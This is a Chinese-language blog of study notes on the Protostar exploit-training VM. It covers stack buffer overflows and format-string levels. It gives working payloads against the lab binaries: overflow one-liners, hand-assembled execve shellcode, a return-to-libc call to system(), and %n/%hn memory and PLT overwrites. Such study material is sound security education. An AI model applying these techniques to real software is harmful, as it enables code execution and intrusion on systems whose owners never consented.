Protostar学习笔记

正在学习二进制安全糖果牛介绍知道了还有Protostar这么个好玩的东西实际说来ProtostarExploit Exercise网站下四个供安全学习用的镜像之一除了这个以外还有其他四个环境分别是NebulaLinux基础Fusion相当于Protostar的高难度版本Main Sequence似乎是Ruxcon 2012的真题Cloud Road应该是Ruxcon 2014的题具体的可以去他们的官网查阅另外官网上对于题目已经给出了足够的提示因此这里的笔记只起两个作用了一是我自己对少数题目的解法二是我在学习过程中的点滴思考只是对自己想法的记录如果您感觉有一定的参考意义那将是我的荣幸如果您觉得这里应该公布标准答案请移驾本处

更新并不定期

工作的环境配置如下

# /bin/bash
user@protostar:~$ su
root@protostar:/# echo '1' > /proc/sys/fs/suid_dumpable
root@protostar:/# exit
user@protostar:~$ gdb -q
(gdb) set disassemble-flavor

那么下面就是正文了


4/13/2015更新

Stack系列

Level 0~2

都是相当简单的缓冲区溢出只不过方式稍有不同Lv0的话只要你输入的数量足够就能通过了但这没意思了不是尝试一下最少需要多少个字符完成任务再结合源码中在栈上分配的空间大小要了解细节还算是比较轻松的Lv1则加入了对特定字符的限制除了考查内存分配以外还要知道小端机器是如何在内存中存放数据的Lv2感觉是给我一个新思路原来只知道用户输入可能有漏洞没想过环境变量也是个靶点看来思路还不宽

这部分因为是中午要睡觉所以也没太细看简单走了几步就过去了不过顺手搜到个很好用的trick

export foo=`perl -e 'print "\x50\x9a\x05\x40"'`

Level 3

直接disas main会发现使用了函数指针不过函数指针并没有被赋值然后敲i fun可以看到有一个名为win的函数存在但是并没有被使用到disas win可看到将0x8048540处的字符串输出也就是说需要使函数指针指向windisas main可以看到编译器在栈上为输入数据分配了0x40=64个空间因此POC如下

perl -e 'print "a"x64 . "\x24\x84\x04\x08"' | ./stack3

4/15/2015更新

Level 4

注意这里编译器生成的代码

and esp, 0xfffffff0

自己写了个调用gets()的程序发现这句话是编译器自己加上去的似乎只是为了对齐用因此我们的POC需要重新计算记得包括ebp和这个偏移量

perl -e 'print "a"x76 . "\x24\x84\x04\x08"' | ./stack3

(76=64+0x08+0x04) 但是关于这个偏移量产生的原因似乎还可以追一下留待有时间看看

Level 5

i fun并没有什么卵用disas似乎也并没有什么作用去官网上看了下原来是要你构造个shellcode放进去看了下相关配置栈执行已经关掉了好办

先来看下代码

push ebp
mov  ebp, esp
and  esp, 0xfffffff0
sub  esp, 0x50
lea  eax, [esp+0x10]
mov  DWORD PTR [esp], eax
call <gets@plt>
leave
ret

那么压入栈中的返回地址是esp+(0x50-0x08+0x04=)76==esp+0x4c输入的数据存放在esp+0x10(本环境下esp=0xbffff7c0先确定下

perl -e 'print "\xcc"x76 . "\xd0\xf7\xff\xbf"' > '~/test.in'
<Alt+F2>
(gdb) r 
Starting program: /opt/protostar/bin/stack5 < ~/test.in

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff7d1 in ??()
(gdb) x /20x 0xbffff7d0
0xbffff7d0: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
......
0xbffff810: 0xcccccccc 0xcccccccc 0xcccccccc 0xbffff7d0
(gdb) i reg esp ebp
esp   0xbffff820 0xbffff820
ebp   0xcccccccc 0xcccccccc

看来是没问题了那么现在写下shellcode弹个……日历吧感谢这家这家的大力支持得到了shellcode如下

#base: 0xbffff7d0+0x1cnop
#-1:  90                      nop
#00:  31 c0                   xor    eax,eax
#02:  a3 08 f8 ff bf          mov    ds:0xbffff808,eax
#07:  b0 0b                   mov    al,0xb
#09:  bb 0c f8 ff bf          mov    ebx,0xbffff80c
#0e:  b9 04 f8 ff bf          mov    ecx,0xbffff804
#13: 8b 15 08 f8 ff bf       mov    edx,DWORD PTR ds:0xbffff808
#19: cd 80                   int    0x80
#0xbffff7fc:       0xbffff808 0x06198904
#0xbffff80c: /usr   /bin   /cal   0x00000000
#0xbffff81c: 0xbffff7d0 <----TARGET!
perl -e 'print "\x90" . "\x90"x24 . "\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80" . "\x08\xf8\xff\xbf\x06\x19\x89\x04" . "/usr/bin/cal" . "\x00"x4 . "\xd0\xf7\xff\xbf"' > ~/test.in

先是把第一个nop换成了0xcc下了个中断调了下果然有问题偏移量计算的不对所以多加了三个\x00做个补丁总体还是很容易看的al里放上0x0b然后填参数调用int80h相当于执行execve()这个函数会把控制权交给ebx指向的字符串所确定的程序也就是日历了效果如下

(gdb) r
Starting program: /opt/protostar/bin/stack5 < ~/test.in
Executing new program: /usr/bin/ncal
     April 2015
Su     5 12 19 26
Mo     6 13 20 27
Tu     7 14 21 28
We  1  8 15 22 29
Th  2  9 16 23 30
Fr  3 10 17 24
Sa  4 11 18 25

Program exited normally.

似乎是因为并没有覆盖到目标之外的栈帧execve还帮助清理了上下文所以并没有Segment Error这种攻击方式似乎有时候会很无趣毕竟能覆盖的区域不一定够此外这个exp只能在gdb下用因为gdb下的内存分布和一般的内存分布似乎并不一样这个问题将在下面的这道题中给出一个解法


4/27/2015更新这个人正在狂补大物

Level 6

getpath函数翻译过来大致是这样的

void getpath(void)
{
//offset:0x08048484
//08048484 55                     push   ebp
//08048485 89 e5                  mov    ebp,esp
//08048487 83 ec 68               sub    esp,0x68
//allocated 0x68 on stack

//0804848a b8 d0 85 04 08         mov    eax,0x80485d0
//0804848f 89 04 24               mov    DWORD PTR [esp],eax
//08048492 e8 29 ff ff ff         call   0x080483c0 <printf@plt>
 printf("input path please: "); //*0x080485d0=="input path please: "
 
//08048497 a1 20 97 04 08         mov    eax,ds:0x8049720
//0804849c 89 04 24               mov    DWORD PTR [esp],eax
//0804849f e8 0c ff ff ff         call   0x080483b0 <fflush@plt>
 fflush(stdout);  //0x08049720==stdout
 
//080484a4 8d 45 b4               lea    eax,[ebp-0x4c]
//080484a7 89 04 24               mov    DWORD PTR [esp],eax
//080484aa e8 d1 fe ff ff         call   0x08048380 <gets@plt>
 gets(ebp-0x4c);  //result stored in ebp-0x4c, aka. esp+0x1c
 
//080484af 8b 45 04               mov    eax,DWORD PTR [ebp+0x4]
//080484b2 89 45 f4               mov    DWORD PTR [ebp-0xc],eax
//080484b5 8b 45 f4               mov    eax,DWORD PTR [ebp-0xc]
//080484b8 25 00 00 00 bf         and    eax,0xbf000000
//080484bd 3d 00 00 00 bf         cmp    eax,0xbf000000
//080484c2 75 20                  jne    loc_080484e4
// these code checked the stack, and if return ptr is not 
//  modified, the program will jump to loc_080484e4, 
//  or will report an error.
// only when the execute code is in the stack, the system 
//  will work 

//080484c4 b8 e4 85 04 08         mov    eax,0x80485e4
//080484c9 8b 55 f4               mov    edx,DWORD PTR [ebp-0xc]
//080484cc 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484d0 89 04 24               mov    DWORD PTR [esp],eax
//080484d3 e8 e8 fe ff ff         call   0x080483c0 <printf@plt>
 printf("bzzzt (%p)\n", *(ebp+0x4)); //show the ret addr
 
//080484d8 c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1
//080484df e8 bc fe ff ff         call   0x080483a0
 exit(1);
         
//       loc_080484e4:                         
//080484e4 b8 f0 85 04 08         mov    eax,0x80485f0
//080484e9 8d 55 b4               lea    edx,[ebp-0x4c]
//080484ec 89 54 24 04            mov    DWORD PTR [esp+0x4],edx
//080484f0 89 04 24               mov    DWORD PTR [esp],eax
//080484f3 e8 c8 fe ff ff         call   0x080483c0 <printf@plt>
 printf("got path %s\n", ebp-0x4c);
 
//080484f8 c9                     leave  
//080484f9 c3                     ret
}
/*
0 
| [esp=org_addr] ....
|      ....
| [esp+0x1c]     char input[0x40]
|      ...
| [esp+0x5c]  void* v1
|      ...
| [ebp=esp+0x68] OLD EBP     == 0xbffff818
| [esp+0x6c]   RETURN ADDR == 0x08048505
V 
F 
*/   

自带保护……棒透了那么显然没办法任意执行自己的代码了不过返回地址仍然是可以覆盖的先断下来看看有没有什么可以用的东西吧

(gdb) i func system
...
File ../sysdeps/posix/system.c:
int __libc_system(const char *);
static int do_system(const char *);
(gdb) p system
$2 = {...} 0xb7ecffb0 <__libc_system>

果然有东西systemC里面的一个函数通常的用法是这样的

int main(void)
{
 //...
 system("whoami");
 //...

 return 0;
}

源程序虽然检查了返回地址但只是要求返回地址不得位于栈中我们只要让他去调用systemQuestion这个system是位于哪里的然后传进去自己的参数就ok注意到有一个bzzzt的提示可以提醒数据已经到了边界所以确定下地址

user@protostar:/opt/protostar/bin$ perl -e 'print "\xbf\x67\x68\x69"x20 . "\xbf\xbf\xbf\xbf"' | ./stack6
input path please: bzzzt (0xbfbfbfbf)

少一组就不好用多一组就segmentation errorBingo可供我们填充的字节为0x50之后的四个字节就是返回地址了那么exp布局如下

#</usr/bin/whoami>.<fillings(and here is end)>.<0xb7ecffb0>.<0xb7ec60c0>.<0xbffff7fc>.<0x04198906>
user@protostar:/opt/protostar/bin$ perl -e 'print "/usr/bin/whoami;#" . "F"x63 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\xfc\xf7\xff\xbf" . "\x06\x89\x19\x04"' | ./stack6

解释下根据这里的说明被调用函数所看到的栈中的情况是

 |FFFFFFFF|------------------>|00000000|
 |ret addr| param 1 | param 2 |........|

调用system()的时候需要下一条指令执行exit()并且带有一个字符串指针作为参数调用exit()之后下一条指令是什么对我们并没有什么卵用因为退出了只要保证给一个退出的值就可以了检查转储文件后可以发现我们的输入数据是从0xbffff7fc处开始存放的因此就有了这个exp

之后回头看了下protostar上的文档发现这个检查实际是利用的 __builtin_return_address 这个函数检查栈帧留下备用~

Level 7

目前并没做出来


4/29/2015更新 参考了其他人的做法是找到不会被限制的一个ret之前都是通过覆写栈来覆盖返回地址的方法ret后执行目标代码换句话说是控制PC的值那么让第一次ret出的地址指向另一个ret而跳转目标的地址恰好在执行第一个ret前的[esp+0x08]就可以绕过对[esp+0x04]的检查

但是……有没有其他有趣的方法呢

走到死路口之前先不写这种方法的poc


4/30/2015更新 double ret

Format[0..4]

这组练习均是有关于格式化字符串漏洞如果你刚开始学习C语言还应该参考下维基百科上关于格式化字符串的有关文章

总体上看这类漏洞的根源在于POSIX标准中的变参函数我们都知道stdcall调用方式是通过将参数压入栈中完成参数传递的而被调用的函数应该从栈中取出各参数POSIX标准为了支持变参函数提供了va_startva_endva_argva_list用来支持其工作然而在标准中对函数参数个数的传递并没有要求因此被调用函数需要自行决定取出多少参数

这种情况下printf等处理格式化字符串的方法是对格式化字符串中的字符分别处理遇到特定的转义字符如%d%c等等后再调用va_arg从栈中取出函数这种方式的问题在于当格式化字符串可以被控制时内存里的内容也就可以被随意读取了此外由于printf函数提供了%n用来向某个参数内写入数值这造成了对内存的任意写

Format 0

程序逻辑是将输入的字符串解析之后输出结果送至到另一个字符串中之后检测某个特定位置的值是否为deadbeef因此我们只要做好padding即可

./format0 `python -c 'print "%64d\xef\xbe\xad\xde"'`

Format 1

程序读入启动参数并展示而要求我们修改内存中指定地址处的值修改值需要用到%n它接受的参数是一个指向可写内存区域的地址因此可以这样先找出我们的地址

for i in {1..300}; do ./format1 `echo -ne "\x38\x96\x04\x08%$i\\$x"`; echo; done | nl | grep 9638
   127  88049638

构造

user@protostar:/opt/protostar/bin$ ./format1 `echo -ne '\x38\x96\x04\x08%127$n'` 
8you have modified the target :)

不同机器上运行结果可能也有不同这与装载器有关

Format 2

这次我们要控制改写的值为0x40=64%n的作用是将已经显示的字符数写入对应地址处那么我们要写入64的话应该加的padding64-4byte地址=60

user@protostar:/opt/protostar/bin$ echo -ne "\xe4\x96\x04\x08%060x%4\$n\n" | ./format2    
000000000000000000000000000000000000000000000000000000000200
you have modified the target :)

Format 3

为了写入0x1025544我们仍然可以用Format2的方法

echo -ne "\xf4\x96\x04\x08%16930112c%12\$n" | ./format3

但是要输出这么多的字符等待时间太长了因此我们每次写入2字节那么

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%21820c%13\$hn%43966c%12\$hn"  | ./format3

echo -ne "\xf6\x96\x04\x08\xf4\x96\x04\x08%250c%12\$hn%21570c%13\$hn"  | ./format3

这里我们使用%hn控制每次写入2字节几个参数的计算方法如下

0x1025544 = 0x0102 << 16 + 0x5544
0x0102 = 258; 258 - 8 = 250
0x5544 - 0x0102 = 21570

Y = 0x218-0x208 = 0x10
X = +0x18 + 0x4 = 0x1C
(X+Y)/4+1 = 12 //indicates the first one to extract

Format 4

为了让程序在printf不执行_exit而去执行hello函数我们需要改写plt关于plt表的相关内容可以参考程序员的自我修养一书这里给出exp

echo -ne "\x25\x97\x04\x08\x24\x97\x04\x08%033964c%5\$n%0491472c%4\$n\n" | ./format4

但其实我们只需要修改一个字节就可以达到相同目的

echo -ne "\x24\x97\x04\x08%33968u%4\$hn" | ./format4
....
code execution redirected! you win

注意这里为了防止地址被破坏还是需要写入两个字节